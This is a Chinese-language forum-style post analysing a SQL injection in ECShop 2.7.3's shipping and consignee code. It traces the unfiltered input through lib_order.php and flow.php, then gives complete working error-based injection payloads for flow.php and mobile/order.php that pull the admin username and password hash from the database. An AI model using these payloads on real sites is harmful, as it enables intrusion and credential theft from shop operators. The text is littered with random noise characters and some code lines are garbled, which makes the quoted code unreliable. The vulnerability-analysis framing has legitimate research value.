前段时间大概2012年圣诞节左右,在t00ls上看见ecshop全版本注入,当时也下载了最新的程序分析了下,最近考试比较忙,今天刚考完,把我分析的记录下来。
. E4 N; A, e. e" C1 T* ~; x" ?) T1 Y1 r$ U/ |+ V/ \
漏洞关键文件:
# q5 N8 D+ W7 {7 q7 J! {. d- Y/ D! F a9 B$ |
/includes/lib_order.php! ^$ a/ u0 l: \( q
9 r/ P9 b. H( Y% c* w( ^. [ 关键函数:
. h$ ]3 m/ H# J% y
4 Y! _6 C; K4 k- l' g
, e' ]) t9 y5 X% c
5 R" D0 r( m4 k01 function available_shipping_list($region_id_list) ' r" N6 Q* q8 r0 o# c6 S
# s, }$ L0 @; W9 w+ O. K. v02 { / Z3 {3 U0 l: Q. C
! R1 l5 g1 |' c8 X s% L. \: k03 $sql = 'SELECT s.shipping_id, s.shipping_code, s.shipping_name, ' .
' h( Q/ U# x% Y1 d0 H: _( z+ a% C2 r; r, f: j! T' g, ^1 x1 a" W; {
04 's.shipping_desc, s.insure, s.support_cod, a.configure ' .
7 L3 {1 J8 L; ]: r% X# l6 B4 f+ }0 S5 i3 p3 m/ N; \, ~6 X
05 'FROM ' . $GLOBALS['ecs']->table('shipping') . ' AS s, ' .
& r" m9 B4 w9 W# k4 v5 r$ k$ j' t. Z# [" i% n: n' g/ r
06 $GLOBALS['ecs']->table('shipping_area') . ' AS a, ' . + N- s. |- b9 H( e4 W
/ e$ D' [, ?0 l# C1 k- L. o4 U07 $GLOBALS['ecs']->table('area_region') . ' AS r '.
* }6 H6 F2 x6 K
1 R& D* v, E" l2 d7 |' S! d08 'WHERE r.region_id ' . db_create_in($region_id_list) .
% l/ c$ B9 [, h7 T/ q% Q+ F# P! n7 ~; ]* Y/ s
09 ' AND r.shipping_area_id = a.shipping_area_id AND a.shipping_id = s.shipping_id AND s.enabled = 1 ORDER BY s.shipping_order';
, H+ y" `0 h0 p0 A: Q
# Q( z9 v$ P! J( E1 N2 |* J' {10 9 W% l, x% S, E/ z% |
' c% ]$ S& e$ e4 t* g+ t
11 return $GLOBALS['db']->getAll($sql); : r3 Y Z8 G- A: p* Z( o3 S$ x. z
) f p ^0 I2 s12 }
1 Z2 P! ^- F5 B& G$ Y! ^& j) B7 c$ K3 r+ y9 D1 \
显然对传入的参数没有任何过滤就带入了查询语句。: z# u) D6 \8 c2 o# M$ m
& ~: _$ b2 g5 c: N4 C6 u下面我们追踪这个函数在flow.php中:0 u \7 b5 m4 ~5 u6 [9 [
第531行: * j) b6 g% w' G9 L
) @# t$ h) Q( ~2 p2 u2 Q
1 $shipping_list = available_shipping_list($region); ) I+ X* J( g9 _# ], _, |# ~
8 J* j- X+ m0 _* [ 1 o# @" w; k; L$ I: Z& o+ V6 o
' r9 d( a8 I* z. \% ?2 Q! J
& ~ C3 R9 S, [7 X5 h/ b0 o
/ u3 F' r* q8 ~( q; f3 `: n再对传入变量进行追踪:
! G6 n- j0 W7 o2 v2 a0 r( ?; @7 N" C' ?, Y
第530行: $ l, {( q( `; ?) Q. m
& h* Y8 v$ e3 @ z$ a( j6 {
1 $region = array($consignee['country'], $consignee['province'],$consignee['city'], $consignee['district']);
& y* Z8 i4 G; u* i3 q, K9 n
4 E% |: p1 V3 z3 J7 h) ]; M5 H
8 M( c- \" I6 E) S2 s$ g& o/ z |& b
2 ?& W; d4 r9 ?
, E' N& {8 K0 A8 r3 p7 k8 Y# n1 \. o
第473行: # z% I! M, n7 M0 ?0 W4 i; D& Q6 k7 k5 j3 |
( _% [7 P* H$ L# a8 h7 x
1 $consignee = get_consignee($_SESSION['user_id']);
' i! p& g7 z0 B3 l1 r
* D1 W, o$ B5 H. ^8 M L到了一个关键函数:
: N9 K9 X; x& G& }. f J: [& F2 x
/includes/lib_order.php$ J% U) b0 i7 W$ [* i0 b3 q
: p2 I0 j2 ]" P8 z4 J! O
0 h! F& E+ o: ?/ _' O+ m. l5 e, ?- L" X( x* B- o
, e! [0 _' w. S1 e, d1 _- e( X, R: P) _9 @% L8 m, z1 g2 R8 t
01 function get_consignee($user_id)
1 C! B$ E2 }4 G' ?5 b4 k) v F; s5 F4 V0 c- p+ ~
02 { U# r y5 } [7 d; }
. r4 `, N/ z2 J& f( w+ _6 C- y
03 if (isset($_SESSION['flow_consignee']))
8 a- X6 T. q$ q% i2 \; R8 l0 G; |& n/ m' m) t9 g% O
04 {
1 E! h0 k8 p3 D: d2 Z4 y
; N# ?# W* Q- ~: |8 K05 /* 如果存在session,则直接返回session中的收货人信息 */ 9 G/ Q5 U- P/ ^# m, c! x; P
+ \6 W7 I9 A' s) J# E. C, h
06 $ q8 k' e$ d9 b# o0 V! z( m
0 J, N* Q, [$ A; O' V
07 return $_SESSION['flow_consignee'];
2 g; W, Y7 y( N) N# r% C
2 T. @6 c! \% J$ c9 [, E: x4 ?08 } ! `! T( l" N1 v7 h
" k& c( k' T2 m E* a! N( V$ N09 else 2 b* [ h) I. S1 P( N5 c
3 T2 ^% L. b0 v4 J% r
10 {
2 N& n! I4 ^6 ]. \7 A9 E8 c& ^9 ?! B+ Z& [
11 /* 如果不存在,则取得用户的默认收货人信息 */
6 H/ b0 o' G# z, w' Y% m/ W: w f6 c* P% ?! ]! L. u# ]
12 $arr = array();
) I4 K) a6 G$ \0 ?% G& A
8 T$ u9 Q% e/ b+ y13 0 Z- W; d; ]1 x( ~
$ X3 [) I. ~, h5 F- g6 v8 j* ^
14 if ($user_id > 0) 5 r9 T# ^9 n( Z! S/ N6 u
3 ~2 n( S. E8 @6 [- t: O
15 { 7 Y& ]/ r4 ^! n8 `+ f
- q4 [- k; H) d% k16 /* 取默认地址 */
: [# G; Z- F4 `
( u, ]) r' D" r- F8 X* Z17 $sql = "SELECT ua.*".
% s- L _4 C9 w2 q
$ V" {( x! G g, t( _4 q/ u+ F1 Y18 " FROM " . $GLOBALS['ecs']->table('user_address') . "AS ua, ".$GLOBALS['ecs']->table('users').' AS u '.
( D7 j" h$ I% @
5 f2 B( {: M, q- x) g5 r4 W19 " WHERE u.user_id='$user_id' AND ua.address_id = u.address_id";
) T# u4 i. k# w% y- q$ Z2 C
8 n: ` Y5 J( ^ V20
6 x l+ T7 p; T) W, d& b6 W" t0 P. q
21 $arr = $GLOBALS['db']->getRow($sql); / U* w# x: _1 x1 z' |8 J
Y; v- Q% o5 i$ W0 @1 J22 }
1 U1 m9 V& U( n# L% {6 u
! Z) P- E+ V0 s1 u23 9 H9 y9 a: R% [+ M
% y+ v9 M- X. w6 T4 O! M2 j24 return $arr; 3 `# T% ?7 Y+ f" z
6 K$ B+ ~; [: O- y: U# T: d$ K25 } ; i% c" @. }; P* [
6 G4 ~2 P" ]2 g- o
26 }
% }6 U' J2 c7 p0 j$ j6 u# l$ R" {/ c p) P' Z
显然如果 isset($_SESSION['flow_consignee']存在就直接使用。到底存不存在呢?
8 p' ~2 K, ^% N' Q1 j4 W) B: b* R& Q) g0 K' h
$ c6 s) D" P5 q' t T" h
5 ]% V. w1 h( e; P3 G* [
关键点:
6 {7 G" @9 @, }! S% Z, ^, |' \8 j2 b0 C; d" {, O
第400行: $_SESSION['flow_consignee'] = stripslashes_deep($consignee);
, Y5 X" ]$ {# \( @9 {8 |# l+ h' |& u+ O8 Q" n
这里对传入参数反转义存入$_SESSION中。5 c0 ? g# p, W7 j. ~4 u
; t+ Y3 t% H7 F$ Y
6 U0 F7 q/ Z' }8 B6 G) ]
+ r0 t6 O3 O: k( b+ B3 l- G然后看下:
$ m( p( m# y+ _7 a2 e) ]8 K. e6 Y; Z# f& v- h% Q5 F3 [( V
/ ?3 K: |) t7 e0 W' J
4 k+ t0 X& X" u: a
/ O& h- t4 y: l
; Q% A, S8 B( b* s. d
01 $consignee = array(
4 D* F# F7 N9 Z' e
9 C4 t- Z# |2 w02 'address_id' => empty($_POST['address_id']) ? 0 :intval($_POST['address_id']),
4 `' g6 z, E& d# D+ N, j$ E$ T) u* O i! r; ^
03 'consignee' => empty($_POST['consignee']) ? '' : trim($_POST['consignee']), % N( d3 L) A' E9 L- d
% T; d% q1 x2 M04 'country' => empty($_POST['country']) ? '' _POST['country'],
3 z7 J$ d$ z$ h0 p% P; K) @- c0 }0 t. B6 r1 g; |, B. A
05 'province' => empty($_POST['province']) ? '' _POST['province'], 9 X5 ~8 j4 n' N
# b8 ?7 w% r6 ^! |
06 'city' => empty($_POST['city']) ? '' _POST['city'], 7 e1 @, G+ I! ]9 R) q
. W7 l7 ~2 M/ |07 'district' => empty($_POST['district']) ? '' _POST['district'],
; C# Y$ Q: n' u3 t8 I, Z4 g7 d, w& C& }. p2 O6 e+ G8 z) H# G3 W% _! ]6 g/ r1 W5 P
08 'email' => empty($_POST['email']) ? '' _POST['email'],
2 u/ Q. S7 e t, c/ @# Z! {' X- a4 x: `+ j8 }7 U) ^& R t! K
09 'address' => empty($_POST['address']) ? '' _POST['address'],
" k0 S3 b# p; h, _* B) t) A$ ~! y* X, Q
10 'zipcode' => empty($_POST['zipcode']) ? '' : make_semiangle(trim($_POST['zipcode'])),
- \- B& G: Q: _, f8 P$ G# h* O, u: e5 V& \6 a9 q; ?
11 'tel' => empty($_POST['tel']) ? '' : make_semiangle(trim($_POST['tel'])),
* n6 N3 _! \( I( `: j; f4 i" ^0 j8 J- y3 Z, w+ p
12 'mobile' => empty($_POST['mobile']) ? '' : make_semiangle(trim($_POST['mobile'])), + K9 G% ~0 j* v' ?9 _
1 M' R8 b& g+ Z! ?13 'sign_building' => empty($_POST['sign_building']) ? '' _POST['sign_building'], ' V# _2 O/ P, i$ u; Q
. P2 n$ p4 n! Y Z' J
14 'best_time' => empty($_POST['best_time']) ? '' _POST['best_time'], 3 g& m" H* m* E7 U/ G
+ F6 Y6 x, }$ k& U1 C+ x* k. U4 K0 k15 ); 0 [7 k i" N+ q, J8 o; e, J
. G% m0 l. w R) ~好了注入就这样出现了。) |: b% U: |( o( `! r
2 K# q! W7 Z. {8 H==================
: [$ A3 q! A3 K4 ^; X9 b% t: O* ]# N; S+ B) b6 P
注入测试:. \4 n5 M% s- w
' V' v4 n& ~; j$ l: y0 P: N; }环境:windows7+xampp1.7.7(Apache2.2.21+Php 5.3.8+Mysql 5.5.16)# B& L# `2 b- L1 h
1 _3 D" @6 R) J5 Z测试程序:ECShop_V2.7.3_UTF8_release1106
3 j9 Q* W/ Q4 t4 U7 D+ i0 ]' x% `6 L# L2 H" P5 g; p/ ?3 F# \
4 U* X" `9 R. M! o& T
, a" d: h, U$ T4 Z5 ^. R1.首先需要点击一个商品加入购物车) H$ E- o/ b- c8 S0 q% w! ], C. ~
% e% q* @2 x! ~$ O% e8 D% V2.注册一个会员帐号
" N' }2 _" T+ Z1 Y
: z6 r% K1 `$ s1 h3.post提交数据 ^, C) M% a( j" ^1 ?! }- X
( t P" y* b S
' f5 {5 e/ V$ q5 i% m0 b( E; x" H) ]1 s% O
/ P; j7 ]0 e$ e; ?# a- L% _1 http://127.0.0.1/ecshop/flow.php 8 u0 k) [, y _. }
2 G$ p3 U7 w5 w+ d4 O+ f
2
+ l4 M. J- P8 z( N- r) e0 o
1 t" Y+ F/ f% A5 V2 v2 r3 country=1&province=3') and (select 1 from(select count(*),concat((select (select (SELECT concat(user_name,0x7c,password) FROM ecs_admin_user limit 0,1)) from information_schema.tables limit 0,1),floor(rand(0)*2))x from information_schema.tables group by x)a) and 1=1 #&city=37&district=409&consignee=11111&email=11111111%40qq.com&address=1111111111&zipcode=11111111&tel=1111111111111111111&mobile=11111111&sign_building=111111111&best_time=111111111&Submit=%E9%85%8D%E9%80%81%E8%87%B3%E8%BF%99%E4%B8%AA%E5%9C%B0%E5%9D%80&step=consignee&act=checkout&address_id= & U9 }0 ?; _" L. r. A
举一反三,我们根据这个漏洞我们可以继续深入挖掘:
% a' ?+ F }$ g! y
. ^7 W% Q' K0 y. v; L3 v我们搜寻关键函数function available_shipping_list(). K! T( z6 X3 d0 L
Y: z+ f8 }" c! q$ ^; ?* b o1 d
在文件/moblie/order.php中出现有,次文件为手机浏览文件功能基本和flow.php相同,代码流程基本相同
$ P9 G( e0 J9 |7 C7 H2 L/ z3 A7 s T7 t4 o/ l
利用exp:% j5 F% V/ o7 C6 B) `" i7 T: q
, G, i d% o2 c9 u4 D5 z6 m8 e& r
1.点击一个商品,点击购买商标' O6 N; I0 S1 @: t) W7 I) b
: h# A$ R/ k6 r, I2.登录会员帐号
7 a3 s+ v8 f" t# Y6 B: m1 Q8 Q
! ~0 K% s+ \+ h( O+ e4 K" Q3.post提交:/ k+ {1 o$ {2 F( Y
! J7 A8 ] x5 n5 { x- I4 a, ~: o
http://127.0.0.1/ecshop/mobile/order.php
5 k; P0 S9 h4 c) ^! H1 M8 \
% Y5 J1 X: N: r2 t5 p
& X9 F6 B, `4 m8 _) S' k( M9 M* Y" J
country=1&province=3') and (select 1 from(select count(*),concat((select (select (SELECT concat(user_name,0x7c,password) FROM ecs_admin_user limit 0,1)) from information_schema.tables limit 0,1),floor(rand(0)*2))x from information_schema.tables group by x)a) and 1=1 #&city=37&district=409&consignee=11111&email=11111111%40qq.com&address=1111111111&zipcode=11111111&tel=1111111111111111111&mobile=11111111&sign_building=111111111&best_time=111111111&Submit=%E9%85%8D%E9%80%81%E8%87%B3%E8%BF%99%E4%B8%AA%E5%9C%B0%E5%9D%80&&act=order_lise&address_id=
( z. |. _- G7 Z$ b6 `$ ]6 i& A9 X
, [* S$ I: ?, z: g |